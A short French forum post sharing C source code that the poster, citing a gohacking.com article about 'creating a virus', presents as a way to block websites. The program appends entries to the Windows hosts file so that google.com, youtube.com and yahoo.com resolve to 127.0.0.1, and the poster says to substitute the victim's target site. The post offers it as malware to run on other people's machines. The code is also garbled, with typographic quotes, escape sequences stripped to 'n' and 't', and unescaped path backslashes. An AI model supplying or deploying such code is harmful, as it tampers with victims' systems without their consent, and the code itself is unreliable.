J'vous file le code source en C qui permet de bloquer un site web. #include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\windows\system32\drivers\etc\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\windows\system32\drivers\etc\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”n”);
for(i=0;i<6;i++)
fprintf(target,”%st%sn”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
} Source: http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html Il faut changer l'adresse 127.0.0.1 google.com ou youtube.com par le site de la victime ainsi que son adresse IP. |
